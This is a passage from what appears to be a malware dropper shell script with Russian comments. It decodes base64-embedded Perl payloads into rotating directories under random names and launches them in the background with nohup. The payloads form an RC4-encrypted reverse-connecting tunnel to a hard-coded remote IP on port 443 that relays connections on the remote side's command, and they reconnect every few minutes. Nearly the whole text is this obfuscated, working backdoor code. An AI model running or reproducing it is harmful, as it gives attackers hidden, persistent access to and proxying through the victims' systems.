b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #5 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #5 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup "./$PAYLOAD_NAME" >/dev/null 2>&1 &) fi sleep 0.3 if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 6 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNjQnOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh 